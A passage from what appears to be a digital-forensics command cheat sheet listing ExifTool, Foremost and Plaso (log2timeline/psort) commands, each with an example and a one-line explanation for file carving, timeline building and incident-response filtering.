``` Example: ```bash exiftool -geotime='2023:01:01 12:00:00' image.jpg ``` Sets the GPS timestamp used for synchronization during geotagging ## Advanced Workflows ### exiftool -api LargeFileSupport=1 ```bash exiftool -api LargeFileSupport=1 ``` Example: ```bash exiftool -api LargeFileSupport=1 huge_video.mp4 ``` Enables API support for processing files larger than 4GB ### exiftool -api RequestAll=2 ```bash exiftool -api RequestAll=2 ``` Example: ```bash exiftool -api RequestAll=2 weird.jpg ``` Forces ExifTool to recognize and dump even non-standard or obscure tags ### exiftool -api QuickTimeUTC=1 ```bash exiftool -api QuickTimeUTC=1 ``` Example: ```bash exiftool -api QuickTimeUTC=1 video.mov ``` Assumes QuickTime date tags are in UTC rather than local time ## Blue Team Defensive Validation ### exiftool -validate ```bash exiftool -validate ``` Example: ```bash exiftool -validate potential_malware.jpg ``` Checks the file metadata structure for validity and potential corruption ## Incident Response Investigations ### exiftool -warning -error -a ```bash exiftool -warning -error -a ``` Example: ```bash exiftool -warning -error -a evidence.pdf ``` Extracts only the warning and error messages generated during file parsing ## Related tools - [Binwalk](https://terminal.rokibulroni.com/tool/forensics/binwalk) - [strings](https://terminal.rokibulroni.com/tool/forensics/strings) # Tool: Foremost > Recovers files from disk images and raw data by carving their headers and footers, even without a file system. - Category: Forensics - Commands: 60 - Page: https://terminal.rokibulroni.com/tool/forensics/foremost - Homepage: https://foremost.sourceforge.net - Tags: file carving, recovery, DFIR ## Install - apt: `sudo apt install foremost` - brew: `brew install foremost` ## Basic Usage ### foremost -h ```bash foremost -h ``` Displays the help screen with a summary of available command line options ### foremost -V ```bash foremost -V ``` Displays the current version information and copyright details of the tool ### foremost [image_file] ```bash foremost [image_file] ``` Example: ```bash foremost image.dd ``` Carves recoverable files from a disk image using default settings and signatures ## Input Handling ### foremost -i [input_file] ```bash foremost -i [input_file] ``` Example: ```bash foremost -i memory_dump.mem ``` Explicitly specifies the input file or image to be processed for file carving ## Output Control ### foremost -o [output_dir] -i [image_file] ```bash foremost -o [output_dir] -i [image_file] ``` Example: ```bash foremost -o recovered_data -i drive.img ``` Specifies a custom output directory to store the recovered files and report ### foremost -T -i [image_file] ```bash foremost -T -i [image_file] ``` Example: ```bash foremost -T -i suspect_disk.dd ``` Appends a timestamp to the output directory name to prevent overwriting previous results ### foremost -v -i [image_file] ```bash foremost -v -i [image_file] ``` Example: ```bash foremost -v -i evidence.img ``` Enables verbose mode to display detailed processing information to the screen ### foremost -Q -i [image_file] ```bash foremost -Q -i [image_file] ``` Example: ```bash foremost -Q -i sensitive.dd ``` Enables quiet mode to suppress output messages and protect privacy during processing ## File Type Carving ### foremost -t all -i [image_file] ```bash foremost -t all -i [image_file] ``` Example: ```bash foremost -t all -i usb_dump.img ``` Attempts to carve all supported file types defined in the configuration ### foremost -t jpg -i [image_file] ```bash foremost -t jpg -i [image_file] ``` Example: ```bash foremost -t jpg -i camera_card.dd ``` Restricts file carving specifically to JPEG image files ### foremost -t png -i [image_file] ```bash foremost -t png -i [image_file] ``` Example: ```bash foremost -t png -i screenshot_dump.raw ``` Restricts file carving specifically to PNG image files ### foremost -t gif -i [image_file] ```bash foremost -t gif -i [image_file] ``` Example: ```bash foremost -t gif -i web_cache.dd ``` Restricts file carving specifically to GIF image files ### foremost -t pdf -i [image_file] ```bash foremost -t pdf -i [image_file] ``` Example: ```bash foremost -t pdf -i documents.img ``` Restricts file carving specifically to PDF documents ### foremost -t doc -i [image_file] ```bash foremost -t doc -i [image_file] ``` Example: ```bash foremost -t doc -i legacy_files.dd ``` Restricts file carving specifically to legacy Microsoft Word documents ### foremost -t ole -i [image_file] ```bash foremost -t ole -i [image_file] ``` Example: ```bash foremost -t ole -i corporate_disk.img ``` Carves OLE compound files like PowerPoint, Word, Excel, and MSI installers ### foremost -t zip -i [image_file] ```bash foremost -t zip -i [image_file] ``` Example: ```bash foremost -t zip -i backup.dd ``` Carves ZIP archives and formats based on ZIP containers like Jar and Office XML ### foremost -t html -i [image_file] ```bash foremost -t html -i [image_file] ``` Example: ```bash foremost -t html -i browser_cache.img ``` Carves HTML files which is useful for reconstructing web browsing history ### foremost -t exe -i [image_file] ```bash foremost -t exe -i [image_file] ``` Example: ```bash foremost -t exe -i malware_sample.mem ``` Carves Windows PE executables which is critical for malware analysis ### foremost -t jpg,pdf -i [image_file] ```bash foremost -t jpg,pdf -i [image_file] ``` Example: ```bash foremost -t jpg,pdf -i mixed_evidence.dd ``` Carves only JPEG images and PDF documents simultaneously ## Configuration & Tuning ### foremost -c [config_file] -i [image_file] ```bash foremost -c [config_file] -i [image_file] ``` Example: ```bash foremost -c custom.conf -i device.img ``` Uses a specific configuration file with custom headers and footers ### foremost -b [size] -i [image_file] ```bash foremost -b [size] -i [image_file] ``` Example: ```bash foremost -b 1024 -i data.img ``` Sets the block size used for reading the input file to optimize performance ### foremost -k [size] -i [image_file] ```bash foremost -k [size] -i [image_file] ``` Example: ```bash foremost -k 512 -i memory.dump ``` Sets the chunk size for checking headers which helps with alignment ### foremost -s [sectors] -i [image_file] ```bash foremost -s [sectors] -i [image_file] ``` Example: ```bash foremost -s 2048 -i partition.img ``` Skips the specified number of blocks before starting the extraction process ## Audit & Logging ### foremost -w -i [image_file] ```bash foremost -w -i [image_file] ``` Example: ```bash foremost -w -i drive_clone.dd ``` Writes an audit file only without actually extracting any files to disk ### foremost -q -i [image_file] ```bash foremost -q -i [image_file] ``` Example: ```bash foremost -q -i large_drive.img ``` Enables Quick mode to search only at sector boundaries for faster processing ## Advanced Options ### foremost -d -i [image_file] ```bash foremost -d -i [image_file] ``` Example: ```bash foremost -d -i unix_disk.dd ``` Enables indirect block detection for Unix file systems to handle fragmentation ### foremost -a -i [image_file] ```bash foremost -a -i [image_file] ``` Example: ```bash foremost -a -i corrupted.img ``` Writes all headers found even if no footer is detected which allows partial recovery ## Combined Workflows ### foremost -v -T -t all -i [image_file] ```bash foremost -v -T -t all -i [image_file] ``` Example: ```bash foremost -v -T -t all -i investigation.dd ``` Carves all files with verbose logging and timestamped output for case management ### foremost -Q -o [dir] -t jpg,png -i [image_file] ```bash foremost -Q -o [dir] -t jpg,png -i [image_file] ``` Example: ```bash foremost -Q -o images_only -t jpg,png -i server.img ``` Quietly extracts only common image formats to a specific directory ## Incident Response ### foremost -t exe,elf -o [dir] -i [image_file] ```bash foremost -t exe,elf -o [dir] -i [image_file] ``` Example: ```bash foremost -t exe,elf -o binaries -i infected_host.img ``` Targets executable binaries for Windows and Linux to isolate potential malware ### foremost -t rar,zip,7z -i [image_file] ```bash foremost -t rar,zip,7z -i [image_file] ``` Example: ```bash foremost -t rar,zip,7z -i exfil_data.dd ``` Focuses on archive formats often used by attackers for data exfiltration ## Digital Forensics ### foremost -s 63 -t all -i [image_file] ```bash foremost -s 63 -t all -i [image_file] ``` Example: ```bash foremost -s 63 -t all -i full_disk.img ``` Skips the standard track 0 area to start carving at the first partition start ### foremost -c foremost.conf -v -w -i [image_file] ```bash foremost -c foremost.conf -v -w -i [image_file] ``` Example: ```bash foremost -c cases/case1.conf -v -w -i drive.dd ``` Validates a custom config file against an image with verbose audit logging ## Blue Team Validation ### foremost -t log -i [image_file] ```bash foremost -t log -i [image_file] ``` Example: ```bash foremost -t log -i var_log.img ``` Attempts to recover deleted log files to reconstruct event timelines ## Data Recovery ### foremost -a -t mpg,avi,mov -i [image_file] ```bash foremost -a -t mpg,avi,mov -i [image_file] ``` Example: ```bash foremost -a -t mpg,avi,mov -i dvr_disk.dd ``` Forcefully recovers video fragments without footers from DVR systems ### foremost -b 4096 -t all -i [image_file] ```bash foremost -b 4096 -t all -i [image_file] ``` Example: ```bash foremost -b 4096 -t all -i 4k_sector_disk.dd ``` Adjusts block size to 4096 bytes for modern advanced format drives ## Advanced Carving ### foremost -k 1024 -q -i [image_file] ```bash foremost -k 1024 -q -i [image_file] ``` Example: ```bash foremost -k 1024 -q -i ram_dump.mem ``` Uses a larger chunk size with quick mode for rapid memory artifact assessment ## Configuration ### foremost -c /etc/foremost.conf -t all -i [image_file] ```bash foremost -c /etc/foremost.conf -t all -i [image_file] ``` Example: ```bash foremost -c /etc/foremost.conf -t all -i evidence.dd ``` Explicitly calls the system-wide configuration file for standard processing ## File Type Carving ### foremost -t wav,rif -i [image_file] ```bash foremost -t wav,rif -i [image_file] ``` Example: ```bash foremost -t wav,rif -i audio_recorder.img ``` Targets audio files specifically for voice recorder forensics ### foremost -t bmp -i [image_file] ```bash foremost -t bmp -i [image_file] ``` Example: ```bash foremost -t bmp -i old_windows.img ``` Recovers uncompressed bitmap images often found in older systems or steganography ## Advanced Workflows ### foremost -o ./audit_run -w -t all -i [image_file] ```bash foremost -o ./audit_run -w -t all -i [image_file] ``` Example: ```bash foremost -o ./audit_run -w -t all -i unknown_fs.dd ``` Performs a dry run to estimate recoverable data types without writing files ## Incident Response ### foremost -t sxw,sxc,sxi -i [image_file] ```bash foremost -t sxw,sxc,sxi -i [image_file] ``` Example: ```bash foremost -t sxw,sxc,sxi -i linux_desktop.dd ``` Targets OpenOffice documents useful for Linux desktop investigations ### foremost -t wmv,wma -i [image_file] ```bash foremost -t wmv,wma -i [image_file] ``` Example: ```bash foremost -t wmv,wma -i media_server.dd ``` Recovers Windows Media formats to identify unauthorized media usage ## Advanced Options ### foremost -T -v -q -i [image_file] ```bash foremost -T -v -q -i [image_file] ``` Example: ```bash foremost -T -v -q -i triage_image.dd ``` Combines timestamp, verbose, and quick mode for rapid on-site triage ## Configuration ### foremost -c local.conf -o specialized -i [image_file] ```bash foremost -c local.conf -o specialized -i [image_file] ``` Example: ```bash foremost -c local.conf -o specialized -i proprietary.dd ``` Uses a local config for proprietary file headers outputting to a named folder ## File Type Carving ### foremost -t htm -i [image_file] ```bash foremost -t htm -i [image_file] ``` Example: ```bash foremost -t htm -i web_server_logs.img ``` Separately targets HTM extensions if distinguished from HTML in config ### foremost -t cpp,c,h -i [image_file] ```bash foremost -t cpp,c,h -i [image_file] ``` Example: ```bash foremost -t cpp,c,h -i developer_disk.dd ``` Attempts to recover C/C++ source code files based on headers if configured ## Pipeline Workflow ### foremost -o raw_carve -i [image_file] && zip -r case.zip raw_carve ```bash foremost -o raw_carve -i [image_file] && zip -r case.zip raw_carve ``` Example: ```bash foremost -o raw_carve -i disk.img && zip -r case.zip raw_carve ``` Chains foremost execution with zip to immediately archive the recovered evidence ## Digital Forensics ### foremost -s 100 -b 512 -i [image_file] ```bash foremost -s 100 -b 512 -i [image_file] ``` Example: ```bash foremost -s 100 -b 512 -i floppy.img ``` Skips the first 100 blocks on a legacy media with small block size ## Blue Team Validation ### foremost -v -i [image_file] > carving.log 2>&1 ```bash foremost -v -i [image_file] > carving.log 2>&1 ``` Example: ```bash foremost -v -i server.dd > carving.log 2>&1 ``` Redirects verbose output to a log file for post-incident documentation ## File Type Carving ### foremost -t gz,tgz -i [image_file] ```bash foremost -t gz,tgz -i [image_file] ``` Example: ```bash foremost -t gz,tgz -i linux_backup.dd ``` Recovers GZIP compressed files common in Unix/Linux environments ## Advanced Options ### foremost -d -T -i [image_file] ```bash foremost -d -T -i [image_file] ``` Example: ```bash foremost -d -T -i ext4_partition.dd ``` Uses indirect block detection with timestamped output for Linux partitions ## Output Control ### foremost -o /tmp/recovery -i [image_file] ```bash foremost -o /tmp/recovery -i [image_file] ``` Example: ```bash foremost -o /tmp/recovery -i usb.img ``` Directs output to a temporary filesystem to avoid writing to evidence handling drives ## Advanced Workflows ### foremost -t all -i - < [image_file] ```bash foremost -t all -i - < [image_file] ``` Example: ```bash cat image.dd | foremost -t all -i - ``` Accepts input from stdin allowing for piping from other tools like netcat or dd ## File Type Carving ### foremost -t ppt,xls,doc -i [image_file] ```bash foremost -t ppt,xls,doc -i [image_file] ``` Example: ```bash foremost -t ppt,xls,doc -i office_2003.dd ``` Specifically targets pre-2007 Microsoft Office binary formats ### foremost -t pptx,xlsx,docx -i [image_file] ```bash foremost -t pptx,xlsx,docx -i [image_file] ``` Example: ```bash foremost -t pptx,xlsx,docx -i office_2019.dd ``` Specifically targets modern XML-based Microsoft Office formats (requires config) ## Triage ### foremost -q -t jpg -T -i [image_file] ```bash foremost -q -t jpg -T -i [image_file] ``` Example: ```bash foremost -q -t jpg -T -i user_folder.dd ``` Runs a quick mode scan for JPEGs with timestamping for rapid media triage ## Validation ### foremost -w -c custom_headers.conf -i [image_file] ```bash foremost -w -c custom_headers.conf -i [image_file] ``` Example: ```bash foremost -w -c custom_headers.conf -i test_set.dd ``` Audits a disk image against custom headers to verify signature effectiveness ## Forensics ### foremost -o evidence/ -v -d -i [image_file] ```bash foremost -o evidence/ -v -d -i [image_file] ``` Example: ```bash foremost -o evidence/ -v -d -i fragmented.dd ``` Combines indirect block detection and verbose mode into a dedicated evidence folder ## Full Recovery ### foremost -t all -a -v -T -i [image_file] ```bash foremost -t all -a -v -T -i [image_file] ``` Example: ```bash foremost -t all -a -v -T -i final_attempt.dd ``` Runs the most aggressive recovery mode with all types, header-only writing, and logs ## Related tools - [bulk_extractor](https://terminal.rokibulroni.com/tool/forensics/bulk-extractor) - [Binwalk](https://terminal.rokibulroni.com/tool/forensics/binwalk) - [The Sleuth Kit](https://terminal.rokibulroni.com/tool/forensics/sleuthkit) # Tool: Plaso (log2timeline) > Extracts timestamps from hundreds of artefact types and builds a “super timeline” for forensic investigation. - Category: Forensics - Commands: 70 - Page: https://terminal.rokibulroni.com/tool/forensics/plaso - Homepage: https://github.com/log2timeline/plaso - Documentation: https://plaso.readthedocs.io - Tags: timeline, DFIR, artefacts ## Install - apt: `sudo apt install plaso` - docker: `docker run -it --rm log2timeline/plaso log2timeline --help` ## Basic Syntax & Help ### log2timeline.py --version ```bash log2timeline.py --version ``` Displays the installed version of the log2timeline extraction tool ### log2timeline.py --help ```bash log2timeline.py --help ``` Shows the main help menu and available arguments for the extraction tool ### log2timeline.py --info ```bash log2timeline.py --info ``` Lists all available parsers, parser plugins, and hashers supported by the current installation ### psort.py -o list ```bash psort.py -o list ``` Lists all available output modules for rendering timeline data ### psort.py --analysis list ```bash psort.py --analysis list ``` Lists all available analysis plugins for post-processing timelines ## Basic Timeline Creation ### log2timeline.py [STORAGE_FILE] [SOURCE] ```bash log2timeline.py [STORAGE_FILE] [SOURCE] ``` Example: ```bash log2timeline.py case_data.plaso disk_image.dd ``` Performs a standard extraction of all supported artifacts from a disk image to a storage file ### log2timeline.py [STORAGE_FILE] [DIRECTORY] ```bash log2timeline.py [STORAGE_FILE] [DIRECTORY] ``` Example: ```bash log2timeline.py folder_evidence.plaso /mnt/evidence_share/ ``` Extracts forensic events recursively from a logical directory path instead of a disk image ## Parser Configuration ### log2timeline.py --parsers 'win7' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers 'win7' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers 'win7' system.plaso disk.E01 ``` Restricts extraction to the Windows 7 parser preset, optimizing for that operating system ### log2timeline.py --parsers 'linux' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers 'linux' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers 'linux' server.plaso disk.img ``` Restricts extraction to the Linux parser preset for standard Linux artifacts ### log2timeline.py --parsers 'macosx' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers 'macosx' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers 'macosx' macbook.plaso disk.dmg ``` Restricts extraction to macOS specific parsers and plugins ### log2timeline.py --parsers 'webhist' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers 'webhist' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers 'webhist' browsing.plaso disk.dd ``` Runs only web history parsers to extract browser activity from Chrome, Firefox, Safari, and Edge ### log2timeline.py --parsers '!filestat' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers '!filestat' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers '!filestat' content_only.plaso disk.dd ``` Excludes the filestat parser to reduce noise if file system metadata events are not required ### log2timeline.py --parsers 'winevtx,winreg' [STORAGE] [SOURCE] ```bash log2timeline.py --parsers 'winevtx,winreg' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --parsers 'winevtx,winreg' config_logs.plaso disk.dd ``` Manually selects only the Windows Event Log and Windows Registry parsers for targeted extraction ## Evidence Handling ### log2timeline.py --vss_stores all [STORAGE] [SOURCE] ```bash log2timeline.py --vss_stores all [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --vss_stores all shadows.plaso disk.E01 ``` Automatically processes all detected Volume Shadow Copies (VSS) found on the image ### log2timeline.py --vss_stores 1,3 [STORAGE] [SOURCE] ```bash log2timeline.py --vss_stores 1,3 [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --vss_stores 1,3 selected_shadows.plaso disk.E01 ``` Processes only specific Volume Shadow Copy stores identified by index ### log2timeline.py --partition [NUMBER] [STORAGE] [SOURCE] ```bash log2timeline.py --partition [NUMBER] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --partition 2 system_drive.plaso disk.dd ``` Targets a specific partition number on a multi-partition disk image ## Processing & Hashing ### log2timeline.py --hashers 'md5' [STORAGE] [SOURCE] ```bash log2timeline.py --hashers 'md5' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --hashers 'md5' hashed_evidence.plaso disk.dd ``` Calculates MD5 hashes for every file processed during the extraction phase ### log2timeline.py --hashers 'sha256' [STORAGE] [SOURCE] ```bash log2timeline.py --hashers 'sha256' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --hashers 'sha256' secure_hash.plaso disk.dd ``` Calculates SHA256 hashes for file integrity verification during extraction ## Performance Tuning ### log2timeline.py --workers [NUMBER] [STORAGE] [SOURCE] ```bash log2timeline.py --workers [NUMBER] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --workers 8 fast_processing.plaso disk.dd ``` Specifies the number of worker processes to spawn for parallel processing ### log2timeline.py --buffer_size [SIZE] [STORAGE] [SOURCE] ```bash log2timeline.py --buffer_size [SIZE] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --buffer_size 65536 large_buffer.plaso disk.dd ``` Adjusts the read buffer size to optimize I/O performance for specific storage types ### log2timeline.py --temporary_directory [PATH] [STORAGE] [SOURCE] ```bash log2timeline.py --temporary_directory [PATH] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --temporary_directory /ssd/tmp/ temp_offload.plaso disk.dd ``` Redirects temporary files to a specific path, useful for utilizing high-speed SSDs during processing ## Storage Management ### log2timeline.py --compression 'none' [STORAGE] [SOURCE] ```bash log2timeline.py --compression 'none' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --compression 'none' uncompressed.plaso disk.dd ``` Disables compression on the output storage file to improve write speed at the cost of disk space ## Basic Analysis & Output ### psort.py -o l2tcsv -w [OUTPUT.CSV] [STORAGE] ```bash psort.py -o l2tcsv -w [OUTPUT.CSV] [STORAGE] ``` Example: ```bash psort.py -o l2tcsv -w timeline.csv case.plaso ``` Converts the Plaso storage file into the standard Log2Timeline CSV format ### psort.py -o json -w [OUTPUT.JSON] [STORAGE] ```bash psort.py -o json -w [OUTPUT.JSON] [STORAGE] ``` Example: ```bash psort.py -o json -w timeline.json case.plaso ``` Exports the timeline events into a standard JSON format for ingestion by other tools ### psort.py -o json_line -w [OUTPUT.JSONL] [STORAGE] ```bash psort.py -o json_line -w [OUTPUT.JSONL] [STORAGE] ``` Example: ```bash psort.py -o json_line -w timeline.jsonl case.plaso ``` Exports events as JSON Lines (newline delimited JSON), ideal for Timesketch or ElasticSearch ingestion ### psort.py -o tln -w [OUTPUT.TLN] [STORAGE] ```bash psort.py -o tln -w [OUTPUT.TLN] [STORAGE] ``` Example: ```bash psort.py -o tln -w timeline.tln case.plaso ``` Exports the data in the specific TLN (Timeline) format ## Time & Zone Handling ### psort.py -z 'UTC' -o l2tcsv -w [OUTPUT] [STORAGE] ```bash psort.py -z 'UTC' -o l2tcsv -w [OUTPUT] [STORAGE] ``` Example: ```bash psort.py -z 'UTC' -o l2tcsv -w utc_timeline.csv case.plaso ``` Forces the output timeline to display all timestamps in Coordinated Universal Time (UTC) ### psort.py -z 'EST5EDT' -o l2tcsv -w [OUTPUT] [STORAGE] ```bash psort.py -z 'EST5EDT' -o l2tcsv -w [OUTPUT] [STORAGE] ``` Example: ```bash psort.py -z 'EST5EDT' -o l2tcsv -w est_timeline.csv case.plaso ``` Adjusts output timestamps to the US Eastern timezone, accounting for daylight savings ## Filtering & Slicing ### psort.py --slice '[DATE]' [STORAGE] ```bash psort.py --slice '[DATE]' [STORAGE] ``` Example: ```bash psort.py --slice '2023-10-25T00:00:00' -w sliced.csv case.plaso ``` Extracts events that occurred strictly after the specified ISO 8601 timestamp ### psort.py --slice '[START]...[END]' [STORAGE] ```bash psort.py --slice '[START]...[END]' [STORAGE] ``` Example: ```bash psort.py --slice '2023-01-01...2023-02-01' -w jan_activity.csv case.plaso ``` Create a timeline restricted to a specific date range window ## Advanced Filtering ### psort.py [STORAGE] 'parser is "[PARSER]"' ```bash psort.py [STORAGE] 'parser is "[PARSER]"' ``` Example: ```bash psort.py case.plaso -w evtx.csv 'parser is "winevtx"' ``` Filters the output to include only events generated by the specified parser (e.g., Windows Event Logs) ### psort.py [STORAGE] 'source is "[SOURCE]"' ```bash psort.py [STORAGE] 'source is "[SOURCE]"' ``` Example: ```bash psort.py case.plaso -w registry.csv 'source is "Windows Registry"' ``` Filters the output based on the user-friendly source description of the artifact ### psort.py [STORAGE] 'message contains "[KEYWORD]"' ```bash psort.py [STORAGE] 'message contains "[KEYWORD]"' ``` Example: ```bash psort.py case.plaso -w malware_hits.csv 'message contains "malicious.exe"' ``` Performs a text search within the event message body for specific keywords ### psort.py [STORAGE] 'filename contains "[NAME]"' ```bash psort.py [STORAGE] 'filename contains "[NAME]"' ``` Example: ```bash psort.py case.plaso -w secret_docs.csv 'filename contains "TopSecret"' ``` Filters events where the associated filename matches the search string ## Complex Filtering ### psort.py [STORAGE] '[FILTER1] and [FILTER2]' ```bash psort.py [STORAGE] '[FILTER1] and [FILTER2]' ``` Example: ```bash psort.py case.plaso 'parser is "winevtx" and message contains "4624"' ``` Combines filters using logical AND to find specific events (e.g., Login ID 4624 in Event Logs) ### psort.py [STORAGE] '[FILTER1] or [FILTER2]' ```bash psort.py [STORAGE] '[FILTER1] or [FILTER2]' ``` Example: ```bash psort.py case.plaso 'filename contains ".exe" or filename contains ".dll"' ``` Combines filters using logical OR to broaden the search scope ## All-in-One Workflow ### psteal.py --source [IMAGE] -o l2tcsv -w [OUTPUT] ```bash psteal.py --source [IMAGE] -o l2tcsv -w [OUTPUT] ``` Example: ```bash psteal.py --source disk.dd -o l2tcsv -w quick_timeline.csv ``` Simultaneously extracts events and sorts them into a CSV, bypassing the intermediate storage file ### psteal.py --source [IMAGE] --parsers [PRESET] -w [OUTPUT] ```bash psteal.py --source [IMAGE] --parsers [PRESET] -w [OUTPUT] ``` Example: ```bash psteal.py --source disk.dd --parsers 'webhist' -w browsing.csv ``` Performs a targeted extraction and export of web history in a single execution ## Storage Metadata ### pinfo.py [STORAGE_FILE] ```bash pinfo.py [STORAGE_FILE] ``` Example: ```bash pinfo.py case.plaso ``` Displays general metadata about the storage file, including extraction start time and Plaso version ### pinfo.py -v [STORAGE_FILE] ```bash pinfo.py -v [STORAGE_FILE] ``` Example: ```bash pinfo.py -v case.plaso ``` Displays verbose details about the storage file, including counts of events per parser ### pinfo.py --verify_storage [STORAGE_FILE] ```bash pinfo.py --verify_storage [STORAGE_FILE] ``` Example: ```bash pinfo.py --verify_storage case.plaso ``` Checks the internal integrity of the Plaso storage file to ensure data is not corrupted ## Incident Response - User Activity ### psort.py [STORAGE] 'parser is "winreg" and message contains "UserAssist"' ```bash psort.py [STORAGE] 'parser is "winreg" and message contains "UserAssist"' ``` Example: ```bash psort.py case.plaso -w gui_execution.csv 'parser is "winreg" and message contains "UserAssist"' ``` Isolates UserAssist registry keys to determine which GUI applications were executed by a user ## Incident Response - Program Execution ### psort.py [STORAGE] 'parser is "prefetch"' ```bash psort.py [STORAGE] 'parser is "prefetch"' ``` Example: ```bash psort.py case.plaso -w prefetch_exec.csv 'parser is "prefetch"' ``` Extracts Windows Prefetch data to analyze application execution history and frequency ### psort.py [STORAGE] 'parser is "winevtx" and message contains "7045"' ```bash psort.py [STORAGE] 'parser is "winevtx" and message contains "7045"' ``` Example: ```bash psort.py case.plaso -w services.csv 'parser is "winevtx" and message contains "7045"' ``` Filters for Event ID 7045 to identify newly installed Windows services, a common persistence mechanism ## Incident Response - USB Hunting ### psort.py [STORAGE] 'parser is "winreg" and message contains "USBSTOR"' ```bash psort.py [STORAGE] 'parser is "winreg" and message contains "USBSTOR"' ``` Example: ```bash psort.py case.plaso -w usb_devices.csv 'parser is "winreg" and message contains "USBSTOR"' ``` Searches Registry artifacts for USBSTOR keys to identify removable devices connected to the system ## Incident Response - Network ### psort.py [STORAGE] 'parser is "winreg" and message contains "Interfaces"' ```bash psort.py [STORAGE] 'parser is "winreg" and message contains "Interfaces"' ``` Example: ```bash psort.py case.plaso -w net_interfaces.csv 'parser is "winreg" and message contains "Interfaces"' ``` Extracts network interface configurations and history from the System registry hive ## Analysis Plugins ### psort.py --analysis 'unique_domains_visited' [STORAGE] ```bash psort.py --analysis 'unique_domains_visited' [STORAGE] ``` Example: ```bash psort.py --analysis 'unique_domains_visited' case.plaso ``` Runs a post-processing analysis plugin to summarize unique web domains found in the timeline ### psort.py --analysis 'tagging' --tagging_file [FILE] [STORAGE] ```bash psort.py --analysis 'tagging' --tagging_file [FILE] [STORAGE] ``` Example: ```bash psort.py --analysis 'tagging' --tagging_file tag_rules.txt case.plaso ``` Automatically tags events in the timeline matching rules defined in an external text file ## ElasticSearch Integration ### psort.py -o elastic --server [IP] --index_name [NAME] [STORAGE] ```bash psort.py -o elastic --server [IP] --index_name [NAME] [STORAGE] ``` Example: ```bash psort.py -o elastic --server 127.0.0.1 --index_name investigation_01 case.plaso ``` Exports timeline events directly into an ElasticSearch instance for visualization in Kibana ## Timesketch Integration ### psort.py -o timesketch --name [TIMELINE_NAME] [STORAGE] ```bash psort.py -o timesketch --name [TIMELINE_NAME] [STORAGE] ``` Example: ```bash psort.py -o timesketch --name 'Case 2024-001' case.plaso ``` Uploads the timeline directly to a Timesketch server instance (requires ~/.plaso_timesketchrc configuration) ## File Extraction ### image_export.py --names [FILENAME] [IMAGE] ```bash image_export.py --names [FILENAME] [IMAGE] ``` Example: ```bash image_export.py --names 'MFT' disk.dd ``` Extracts specific files (like the $MFT) from the disk image based on exact filename matching ### image_export.py --extensions [EXT] [IMAGE] ```bash image_export.py --extensions [EXT] [IMAGE] ``` Example: ```bash image_export.py --extensions 'evt,evtx' disk.dd ``` Extracts all files with specific extensions from the forensic image to the local directory ### image_export.py --filter [FILTER] [IMAGE] ```bash image_export.py --filter [FILTER] [IMAGE] ``` Example: ```bash image_export.py --filter 'modification_time > "2023-01-01"' disk.dd ``` Extracts files from the image that match specific metadata criteria like modification timestamps ## Debug & Troubleshooting ### log2timeline.py -d [STORAGE] [SOURCE] ```bash log2timeline.py -d [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py -d debug_case.plaso disk.dd ``` Runs the extraction in debug mode, providing extensive console output for troubleshooting parser errors ### log2timeline.py --logfile [FILE] [STORAGE] [SOURCE] ```bash log2timeline.py --logfile [FILE] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --logfile extraction.log case.plaso disk.dd ``` Writes all execution logs to a specific file instead of standard output for later review ### log2timeline.py --profiling_type 'memory' [STORAGE] [SOURCE] ```bash log2timeline.py --profiling_type 'memory' [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --profiling_type 'memory' profile.plaso disk.dd ``` Enables memory profiling to monitor resource usage during the extraction process ## Output Formatting ### psort.py -o dynamic --fields [FIELDS] [STORAGE] ```bash psort.py -o dynamic --fields [FIELDS] [STORAGE] ``` Example: ```bash psort.py -o dynamic --fields 'datetime,timestamp_desc,message' -w custom.csv case.plaso ``` Creates a CSV with a user-defined column structure, useful for creating reports with specific columns only ### psort.py --additional_fields [FIELDS] [STORAGE] ```bash psort.py --additional_fields [FIELDS] [STORAGE] ``` Example: ```bash psort.py -o l2tcsv --additional_fields 'inode,tag' -w detailed.csv case.plaso ``` Adds extra metadata fields to the standard CSV output that are normally hidden ## Artifact Definitions ### log2timeline.py --artifact_definitions [PATH] [STORAGE] [SOURCE] ```bash log2timeline.py --artifact_definitions [PATH] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --artifact_definitions my_artifacts.yaml case.plaso disk.dd ``` Uses a custom artifacts definition file to direct the tool to non-standard file locations ## Filter File Usage ### log2timeline.py --file_filter [PATH] [STORAGE] [SOURCE] ```bash log2timeline.py --file_filter [PATH] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --file_filter filter.txt case.plaso disk.dd ``` Restricts extraction to a list of files and paths specified in an external text file ## YARA Integration ### log2timeline.py --yara_rules [PATH] [STORAGE] [SOURCE] ```bash log2timeline.py --yara_rules [PATH] [STORAGE] [SOURCE] ``` Example: ```bash log2timeline.py --yara_rules malware.yar case.plaso disk.dd ``` Applies YARA rules during extraction to flag or extract files matching specific signatures ## Advanced Workflow - Deduplication ### psort.py --dedup [STORAGE] ```bash psort.py --dedup [STORAGE] ``` Example: ```bash psort.py --dedup -o l2tcsv -w clean.csv case.plaso ``` Removes duplicate timeline entries that share the exact same timestamp and message content ## Threat Hunting - Shimcache ### psort.py [STORAGE] 'parser is "shimcache"' ```bash psort.py [STORAGE] 'parser is "shimcache"' ``` Example: ```bash psort.py case.plaso -w shimcache.csv 'parser is 